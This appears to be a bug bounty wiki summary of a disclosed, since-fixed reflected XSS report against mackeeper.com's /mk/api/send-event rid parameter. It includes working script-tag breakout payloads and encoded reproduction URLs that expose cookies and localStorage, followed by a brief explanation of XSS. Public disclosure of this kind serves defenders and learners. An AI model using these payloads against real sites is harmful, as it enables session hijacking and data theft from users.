rxss at https://mackeeper.com page not found via rid parameter
A reflected cross-site scripting flaw exists in the rid parameter of the send-event endpoint, allowing an attacker to inject script that executes in the victim's browser. The report demonstrates this by injecting a closing script tag followed by a new script that alerts cookies and local storage.
- Triaged in 14 hours
- Fixed in 25 days
- Paid in 11 days
- Disclosed after 2 months
Summary by the program
Summary
Reflected xss at /mk/api/send-event with rid parameter.
Vuln endpoint:
https://mackeeper.com/mk/api/send-event?rid=<PAYLOAD>
payload: </script><script>alert(test)</script>
Steps To Reproduce
go to https://mackeeper.com/mk/api/send-event?rid=%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E payload: </script><script>alert(document.cookie))</script>
go to https://mackeeper.com/mk/api/send-event?rid=%3C/script%3E%3Cscript%3Ealert(JSON.stringify(localStorage))%3C/script%3E payload : </script><script>alert(JSON.stringify(localStorage))</script>
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute arbitrary JavaScript in a victim's browser, potentially stealing cookies or local storage data.
What the attacker needed
Victim clicks a crafted link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
XSS is when a site puts user input into a page without cleaning it, so an attacker can make it run their JavaScript. Here the rid value is reflected, so a crafted link can run code in the victim's browser and read cookies or local storage.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.